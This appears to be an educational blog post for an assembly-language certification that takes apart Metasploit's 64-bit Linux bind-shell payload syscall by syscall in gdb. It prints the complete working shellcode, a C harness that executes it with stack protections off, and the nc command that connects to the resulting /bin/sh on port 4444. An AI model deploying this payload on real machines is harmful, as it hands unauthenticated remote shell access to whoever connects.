Msfvenom generated bind_tcp shellcode analysis
in Blog
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification. The task for 5.2/7 assignment is to analyse at least 3 shellcode examples created using Msfpayload for linux/x86_64. Since msfpayload is outdated, I used msfvenom instead. The analysis of the shellcodes is carried out using the gdb debugger and 2/3 shellcode analysed in this article is the shell_bind_tcp payload.
Student ID: SLAE64 - 1594
MSFvenom generated linux/x64/shell_bind_tcp payload
As a follow up to analysing exec shellcode, the second payload I chose is the linux/x64/shell_bind_tcp payload. By description, this payload is used to spawn a command shell and listen for a connection. In order to generate the payload I used the following command:
msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 386 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
Shellcode test program
To analyse the generated payload I am placed it into the C program from where we will be executing the shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
and finally compiled the C program as follows:
gcc -m64 -fno-stack-protector -z execstack testshellcode.c -o testshellcode -no-pie
Analysis
Examining the generated shellcode in gdb, shows us that 6 syscalls will be executed, so let’s divide our analysis into 6 separate steps.
1 - socket()
syscall
We can see that the 1st syscall is the socket syscall, as rax
is initialized to 0x29 (41). From socket
syscall man page, we can easily validate that this syscall takes 3 arguments and as a result will return a file descriptor.
rdi
–> 0x2 for AF_INETrsi
–> 0x1 for type SOCKSTREAMrdx
–> 0x0 for protocol.rdx
is zeroed out with the cdq instruction
Dump of assembler code from 0x601060 to 0x6010b6:
=> 0x0000000000601060 <code+0>: push 0x29
0x0000000000601062 <code+2>: pop rax
0x0000000000601063 <code+3>: cdq
0x0000000000601064 <code+4>: push 0x2
0x0000000000601066 <code+6>: pop rdi
0x0000000000601067 <code+7>: push 0x1
0x0000000000601069 <code+9>: pop rsi
0x000000000060106a <code+10>: syscall
2 - bind()
syscall
The usecase for the bind()
syscall is to bind to the socket created in step 1. The way to identify the bind()
syscall here are the 2 lines just before the syscall
instruction. Value 0x31 is pushed to the stack and then right after, popped to rax, which by convention is where we need to have the syscall number.
Looking at the layout of a bind ` int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); syscall we can get the most important bits of information for us (ip address and the port) if we understand the
sockaddr *addr structure. By looking at line
mov DWORD PTR [rsp],0x5c110002` we can deduct the following:
- 02 –> AF_INET for ipv4 address family
- 00 –> INADDR_ANY, so it will try to connect to 0.0.0.0
- 5c11 –> is in the network byte order (big endian). Once we change that to little endian 115c and convert it to decimal, we get that the port this shellcode is trying to connect to is 4444
0x000000000060106c <code+12>: xchg rdi,rax
0x000000000060106e <code+14>: push rdx
0x000000000060106f <code+15>: mov DWORD PTR [rsp],0x5c110002
0x0000000000601076 <code+22>: mov rsi,rsp
0x0000000000601079 <code+25>: push 0x10
0x000000000060107b <code+27>: pop rdx
0x000000000060107c <code+28>: push 0x31
0x000000000060107e <code+30>: pop rax
0x000000000060107f <code+31>: syscall
3 - listen()
syscall
listen()
syscall corresponds to 0x32 (50) and by convention is takes 2 arguments int listen(int sockfd, int backlog);
Since rdi
is already prepared for us from previous syscalls, all we will see here is the preparation of the syscall value for rax
.
0x0000000000601081 <code+33>: push 0x32
0x0000000000601083 <code+35>: pop rax
0x0000000000601084 <code+36>: syscall
4 - accept()
syscall
Once we are listening on the port, the next thing what should happen is some other party initiating a connection. When that happens, shellcode should be able to accept that incoming connection. This is where accept()
syscall comes into play.
0x0000000000601086 <code+38>: xor rsi,rsi
0x0000000000601089 <code+41>: push 0x2b
0x000000000060108b <code+43>: pop rax
0x000000000060108c <code+44>: syscall
5 - dup2()
dup2()
goes by the syscall number 0x21 (33) and it takes 2 arguments int dup2(int oldfd, int newfd);
, the old file descriptor in rdi
and the new file descriptor in rsi
. As we need to apply it for stdin, stdout and stderr, which correspond to the numbers 0,1 and 2, it makes sense to do it in a loop and this is exactly what msfvenom has generated for us. each round rsi
is decremented by 1, and then checked in the end of the loop whether or not it has reached to 0.
0x000000000060108e <code+46>: xchg rdi,rax
0x0000000000601090 <code+48>: push 0x3
0x0000000000601092 <code+50>: pop rsi
0x0000000000601093 <code+51>: dec rsi
0x0000000000601096 <code+54>: push 0x21
0x0000000000601098 <code+56>: pop rax
0x0000000000601099 <code+57>: syscall
0x000000000060109b <code+59>: jne 0x601093 <code+51>
6 - execve()
the finale
This shellcode ends up executing the execve
syscall, which all of us are now way too familiar with from my previous posts, but for the sake of it let’s go through it again :). So execve()
goes by the 0x3b (59) syscall number and it takes 3 arguments.
- instruction
cdq
allows us conveniently to sign-extend the value inrax
and make sure thatrdx
is zeroed out. This is what would hold the environment variables if we wanted to pass any. - With instructions at offsets +65, +75 and +76 we place the address with the program name which we want to execute,
/bin/sh
, tordi
- with instructions at offsets +79, +80 and +81 we first place the address from
rdi
to the stack again. So we end up with an address atrsp
pointing to the address where we have stored string/bin/sh
. Image addr –> addr –>/bin/sh
.
0x000000000060109d <code+61>: push 0x3b
0x000000000060109f <code+63>: pop rax
0x00000000006010a0 <code+64>: cdq
0x00000000006010a1 <code+65>: movabs rbx,0x68732f6e69622f
0x00000000006010ab <code+75>: push rbx
0x00000000006010ac <code+76>: mov rdi,rsp
0x00000000006010af <code+79>: push rdx
0x00000000006010b0 <code+80>: push rdi
0x00000000006010b1 <code+81>: mov rsi,rsp
0x00000000006010b4 <code+84>: syscall
To test out the msfvenom generated payload simply run the compiled version of the payload and open another tab to make the connection nc 0.0.0.0 4444
.
Related posts:
- 64-bit bindshell with a passphrase protection
- 64-bit reverse shell with passphrase protection
- Egghunter (64-bit Linux) using access() syscall
- Writing a 64-bit custom encoder (reversed byte order of 4 byte chunks)
- Msfvenom generated Exec shellcode analysis - exec shellcode
- Msfvenom generated bind_tcp shellcode analysis
- Msfvenom generated shell_reverse_tcp payload
- Polymorphic shellcodes for samples taken from Shell-Storm
- Custom encrypter - One-time pad (OTP)